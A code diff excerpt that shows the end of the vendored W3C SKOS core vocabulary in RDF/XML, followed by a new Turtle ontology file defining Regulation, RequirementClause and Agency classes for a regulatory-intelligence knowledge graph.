<!-- S3 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S5 -->
|
||||
<rdfs:domain rdf:resource="#ConceptScheme"/>
|
||||
<!-- S6 -->
|
||||
<rdfs:range rdf:resource="#Concept"/>
|
||||
<!-- S8 -->
|
||||
<owl:inverseOf rdf:resource="#topConceptOf"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#topConceptOf">
|
||||
<rdfs:label xml:lang="en">is top concept in scheme</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a concept to the concept scheme that it is a top level concept of.</skos:definition>
|
||||
<!-- S3 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S7 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#inScheme"/>
|
||||
<!-- S8 -->
|
||||
<owl:inverseOf rdf:resource="#hasTopConcept"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
<rdfs:domain rdf:resource="#Concept"/>
|
||||
<rdfs:range rdf:resource="#ConceptScheme"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#prefLabel">
|
||||
<rdfs:label xml:lang="en">preferred label</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">The preferred lexical label for a resource, in a given language.</skos:definition>
|
||||
<!-- S10 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S11 -->
|
||||
<rdfs:subPropertyOf rdf:resource="http://www.w3.org/2000/01/rdf-schema#label"/>
|
||||
<!-- S14 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">A resource has no more than one value of skos:prefLabel per language tag, and no more than one value of skos:prefLabel without language tag.</rdfs:comment>
|
||||
<!-- S12 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">The range of skos:prefLabel is the class of RDF plain literals.</rdfs:comment>
|
||||
<!-- S13 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">skos:prefLabel, skos:altLabel and skos:hiddenLabel are pairwise
|
||||
disjoint properties.</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#altLabel">
|
||||
<rdfs:label xml:lang="en">alternative label</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">An alternative lexical label for a resource.</skos:definition>
|
||||
<skos:example xml:lang="en">Acronyms, abbreviations, spelling variants, and irregular plural/singular forms may be included among the alternative labels for a concept. Mis-spelled terms are normally included as hidden labels (see skos:hiddenLabel).</skos:example>
|
||||
<!-- S10 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S11 -->
|
||||
<rdfs:subPropertyOf rdf:resource="http://www.w3.org/2000/01/rdf-schema#label"/>
|
||||
<!-- S12 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">The range of skos:altLabel is the class of RDF plain literals.</rdfs:comment>
|
||||
<!-- S13 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">skos:prefLabel, skos:altLabel and skos:hiddenLabel are pairwise disjoint properties.</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#hiddenLabel">
|
||||
<rdfs:label xml:lang="en">hidden label</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A lexical label for a resource that should be hidden when generating visual displays of the resource, but should still be accessible to free text search operations.</skos:definition>
|
||||
<!-- S10 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S11 -->
|
||||
<rdfs:subPropertyOf rdf:resource="http://www.w3.org/2000/01/rdf-schema#label"/>
|
||||
<!-- S12 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">The range of skos:hiddenLabel is the class of RDF plain literals.</rdfs:comment>
|
||||
<!-- S13 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">skos:prefLabel, skos:altLabel and skos:hiddenLabel are pairwise disjoint properties.</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#notation">
|
||||
<rdfs:label xml:lang="en">notation</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A notation, also known as classification code, is a string of characters such as "T58.5" or "303.4833" used to uniquely identify a concept within the scope of a given concept scheme.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">By convention, skos:notation is used with a typed literal in the object position of the triple.</skos:scopeNote>
|
||||
<!-- S15 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#DatatypeProperty"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#note">
|
||||
<rdfs:label xml:lang="en">note</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A general note, for any purpose.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">This property may be used directly, or as a super-property for more specific note types.</skos:scopeNote>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#changeNote">
|
||||
<rdfs:label xml:lang="en">change note</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A note about a modification to a concept.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#definition">
|
||||
<rdfs:label xml:lang="en">definition</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A statement or formal explanation of the meaning of a concept.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#editorialNote">
|
||||
<rdfs:label xml:lang="en">editorial note</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A note for an editor, translator or maintainer of the vocabulary.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#example">
|
||||
<rdfs:label xml:lang="en">example</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">An example of the use of a concept.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#historyNote">
|
||||
<rdfs:label xml:lang="en">history note</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A note about the past state/use/meaning of a concept.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#scopeNote">
|
||||
<rdfs:label xml:lang="en">scope note</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A note that helps to clarify the meaning and/or the use of a concept.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#semanticRelation">
|
||||
<rdfs:label xml:lang="en">is in semantic relation with</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Links a concept to a concept related by meaning.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">This property should not be used directly, but as a super-property for all properties denoting a relationship of meaning between concepts.</skos:scopeNote>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S19 -->
|
||||
<rdfs:domain rdf:resource="#Concept"/>
|
||||
<!-- S20 -->
|
||||
<rdfs:range rdf:resource="#Concept"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#broader">
|
||||
<rdfs:label xml:lang="en">has broader</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a concept to a concept that is more general in meaning.</skos:definition>
|
||||
<rdfs:comment xml:lang="en">Broader concepts are typically rendered as parents in a concept hierarchy (tree).</rdfs:comment>
|
||||
<skos:scopeNote xml:lang="en">By convention, skos:broader is only used to assert an immediate (i.e. direct) hierarchical link between two conceptual resources.</skos:scopeNote>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S22 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#broaderTransitive"/>
|
||||
<!-- S25 -->
|
||||
<owl:inverseOf rdf:resource="#narrower"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#narrower">
|
||||
<rdfs:label xml:lang="en">has narrower</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a concept to a concept that is more specific in meaning.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">By convention, skos:broader is only used to assert an immediate (i.e. direct) hierarchical link between two conceptual resources.</skos:scopeNote>
|
||||
<rdfs:comment xml:lang="en">Narrower concepts are typically rendered as children in a concept hierarchy (tree).</rdfs:comment>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S22 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#narrowerTransitive"/>
|
||||
<!-- S25 -->
|
||||
<owl:inverseOf rdf:resource="#broader"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#related">
|
||||
<rdfs:label xml:lang="en">has related</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a concept to a concept with which there is an associative semantic relationship.</skos:definition>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S21 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#semanticRelation"/>
|
||||
<!-- S23 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#SymmetricProperty"/>
|
||||
<!-- S27 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">skos:related is disjoint with skos:broaderTransitive</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#broaderTransitive">
|
||||
<rdfs:label xml:lang="en">has broader transitive</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition>skos:broaderTransitive is a transitive superproperty of skos:broader.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">By convention, skos:broaderTransitive is not used to make assertions. Rather, the properties can be used to draw inferences about the transitive closure of the hierarchical relation, which is useful e.g. when implementing a simple query expansion algorithm in a search application.</skos:scopeNote>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S21 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#semanticRelation"/>
|
||||
<!-- S24 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#TransitiveProperty"/>
|
||||
<!-- S26 -->
|
||||
<owl:inverseOf rdf:resource="#narrowerTransitive"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#narrowerTransitive">
|
||||
<rdfs:label xml:lang="en">has narrower transitive</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition>skos:narrowerTransitive is a transitive superproperty of skos:narrower.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">By convention, skos:narrowerTransitive is not used to make assertions. Rather, the properties can be used to draw inferences about the transitive closure of the hierarchical relation, which is useful e.g. when implementing a simple query expansion algorithm in a search application.</skos:scopeNote>
|
||||
<!-- S18 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S21 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#semanticRelation"/>
|
||||
<!-- S24 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#TransitiveProperty"/>
|
||||
<!-- S26 -->
|
||||
<owl:inverseOf rdf:resource="#broaderTransitive"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#member">
|
||||
<rdfs:label xml:lang="en">has member</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a collection to one of its members.</skos:definition>
|
||||
<!-- S30 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S31 -->
|
||||
<rdfs:domain rdf:resource="#Collection"/>
|
||||
<!-- S32 -->
|
||||
<rdfs:range>
|
||||
<owl:Class>
|
||||
<owl:unionOf rdf:parseType="Collection">
|
||||
<owl:Class rdf:about="#Concept"/>
|
||||
<owl:Class rdf:about="#Collection"/>
|
||||
</owl:unionOf>
|
||||
</owl:Class>
|
||||
</rdfs:range>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#memberList">
|
||||
<rdfs:label xml:lang="en">has member list</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates an ordered collection to the RDF list containing its members.</skos:definition>
|
||||
<!-- S30 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S33 -->
|
||||
<rdfs:domain rdf:resource="#OrderedCollection"/>
|
||||
<!-- S35 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#FunctionalProperty"/>
|
||||
<!-- S34 -->
|
||||
<rdfs:range rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#List"/>
|
||||
<!-- S36 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">For any resource, every item in the list given as the value of the
|
||||
skos:memberList property is also a value of the skos:member property.</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#mappingRelation">
|
||||
<rdfs:label xml:lang="en">is in mapping relation with</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates two concepts coming, by convention, from different schemes, and that have comparable meanings</skos:definition>
|
||||
<rdfs:comment xml:lang="en">These concept mapping relations mirror semantic relations, and the data model defined below is similar (with the exception of skos:exactMatch) to the data model defined for semantic relations. A distinct vocabulary is provided for concept mapping relations, to provide a convenient way to differentiate links within a concept scheme from links between concept schemes. However, this pattern of usage is not a formal requirement of the SKOS data model, and relies on informal definitions of best practice.</rdfs:comment>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S39 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#semanticRelation"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#broadMatch">
|
||||
<rdfs:label xml:lang="en">has broader match</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">skos:broadMatch is used to state a hierarchical mapping link between two conceptual resources in different concept schemes.</skos:definition>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S40 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#mappingRelation"/>
|
||||
<!-- S41 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#broader"/>
|
||||
<!-- S43 -->
|
||||
<owl:inverseOf rdf:resource="#narrowMatch"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#narrowMatch">
|
||||
<rdfs:label xml:lang="en">has narrower match</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">skos:narrowMatch is used to state a hierarchical mapping link between two conceptual resources in different concept schemes.</skos:definition>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S40 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#mappingRelation"/>
|
||||
<!-- S41 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#narrower"/>
|
||||
<!-- S43 -->
|
||||
<owl:inverseOf rdf:resource="#broadMatch"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#relatedMatch">
|
||||
<rdfs:label xml:lang="en">has related match</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">skos:relatedMatch is used to state an associative mapping link between two conceptual resources in different concept schemes.</skos:definition>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S40 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#mappingRelation"/>
|
||||
<!-- S41 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#related"/>
|
||||
<!-- S44 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#SymmetricProperty"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#exactMatch">
|
||||
<rdfs:label xml:lang="en">has exact match</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">skos:exactMatch is used to link two concepts, indicating a high degree of confidence that the concepts can be used interchangeably across a wide range of information retrieval applications. skos:exactMatch is a transitive property, and is a sub-property of skos:closeMatch.</skos:definition>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S42 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#closeMatch"/>
|
||||
<!-- S44 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#SymmetricProperty"/>
|
||||
<!-- S45 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#TransitiveProperty"/>
|
||||
<!-- S46 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">skos:exactMatch is disjoint with each of the properties skos:broadMatch and skos:relatedMatch.</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#closeMatch">
|
||||
<rdfs:label xml:lang="en">has close match</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">skos:closeMatch is used to link two concepts that are sufficiently similar that they can be used interchangeably in some information retrieval applications. In order to avoid the possibility of "compound errors" when combining mappings across more than two concept schemes, skos:closeMatch is not declared to be a transitive property.</skos:definition>
|
||||
<!-- S38 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S40 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#mappingRelation"/>
|
||||
<!-- S44 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#SymmetricProperty"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,117 @@
|
||||
# Regulatory Intelligence — small domain extension.
|
||||
#
|
||||
# This is schema, not data: no facts, figures, or claims live here. It adds
|
||||
# the handful of classes/properties this use case needs that the vendored
|
||||
# real ontologies (ORG, PROV-O, DCAT, SKOS, OWL-Time, FRBR — see external/)
|
||||
# don't already provide, and aligns every new term to one of them rather
|
||||
# than duplicating what they already model.
|
||||
#
|
||||
# - Regulation subClassOf dcat:Dataset (each ingested document is both)
|
||||
# - RequirementClause a specific obligation extracted from a Regulation
|
||||
# - Agency subClassOf org:Organization
|
||||
# - Sector individuals are skos:Concept instances in regulatory_taxonomy.ttl
|
||||
|
||||
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
|
||||
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
|
||||
@prefix owl: <http://www.w3.org/2002/07/owl#> .
|
||||
@prefix xsd: <http://www.w3.org/2001/XMLSchema#> .
|
||||
@prefix org: <http://www.w3.org/ns/org#> .
|
||||
@prefix dcat: <http://www.w3.org/ns/dcat#> .
|
||||
@prefix prov: <http://www.w3.org/ns/prov#> .
|
||||
@prefix skos: <http://www.w3.org/2004/02/skos/core#> .
|
||||
@prefix time: <http://www.w3.org/2006/time#> .
|
||||
@prefix frbr: <http://purl.org/vocab/frbr/core#> .
|
||||
@prefix reg: <https://semantica.dev/cookbook/regulatory-intelligence/ontology#> .
|
||||
|
||||
<https://semantica.dev/cookbook/regulatory-intelligence/ontology>
|
||||
a owl:Ontology ;
|
||||
rdfs:label "Regulatory Intelligence — domain extension" ;
|
||||
rdfs:comment "Small extension aligning Regulation/RequirementClause/Agency to the vendored ORG, DCAT, PROV-O, SKOS, OWL-Time, and FRBR ontologies." ;
|
||||
owl:imports <http://www.w3.org/ns/org#> ,
|
||||
<http://www.w3.org/ns/dcat#> ,
|
||||
<http://www.w3.org/ns/prov#> ,
|
||||
<http://www.w3.org/2004/02/skos/core#> ,
|
||||
<http://www.w3.org/2006/time#> ,
|
||||
<http://purl.org/vocab/frbr/core#> .
|
||||
|
||||
# ---- Classes ----------------------------------------------------------
|
||||
|
||||
reg:Regulation
|
||||
a owl:Class ;
|
||||
rdfs:subClassOf dcat:Dataset , prov:Entity ;
|
||||
rdfs:label "Regulation" ;
|
||||
rdfs:comment "A regulation, standard, executive order, memorandum, or governance guidance document ingested into the platform." .
|
||||
|
||||
reg:RequirementClause
|
||||
a owl:Class ;
|
||||
rdfs:subClassOf prov:Entity ;
|
||||
rdfs:label "Requirement Clause" ;
|
||||
rdfs:comment "A single obligation, control, or requirement extracted from a Regulation." .
|
||||
|
||||
reg:Agency
|
||||
a owl:Class ;
|
||||
rdfs:subClassOf org:Organization ;
|
||||
rdfs:label "Agency" ;
|
||||
rdfs:comment "A government agency or regulator (e.g. NIST, OMB, HHS, the Federal Reserve) that issues or is bound by a Regulation." .
|
||||
|
||||
# ---- Object properties --------------------------------------------------
|
||||
|
||||
reg:issuedBy
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:Regulation ;
|
||||
rdfs:range reg:Agency ;
|
||||
rdfs:label "issued by" .
|
||||
|
||||
reg:hasRequirement
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:Regulation ;
|
||||
rdfs:range reg:RequirementClause ;
|
||||
rdfs:label "has requirement" .
|
||||
|
||||
reg:appliesToSector
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:RequirementClause ;
|
||||
rdfs:range skos:Concept ;
|
||||
rdfs:label "applies to sector" ;
|
||||
rdfs:comment "Links a requirement clause to a sector concept (e.g. Healthcare, Finance) in regulatory_taxonomy.ttl." .
|
||||
|
||||
reg:supersedes
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:Regulation ;
|
||||
rdfs:range reg:Regulation ;
|
||||
rdfs:label "supersedes" .
|
||||
|
||||
reg:amends
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:Regulation ;
|
||||
rdfs:range reg:Regulation ;
|
||||
rdfs:label "amends" .
|
||||
|
||||
reg:implements
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:Regulation ;
|
||||
rdfs:range reg:Regulation ;
|
||||
rdfs:label "implements" ;
|
||||
rdfs:comment "e.g. an agency compliance plan implementing an OMB memorandum." .
|
||||
|
||||
reg:conflictsWith
|
||||
a owl:ObjectProperty , owl:SymmetricProperty ;
|
||||
rdfs:domain reg:RequirementClause ;
|
||||
rdfs:range reg:RequirementClause ;
|
||||
rdfs:label "conflicts with" .
|
||||
|
||||
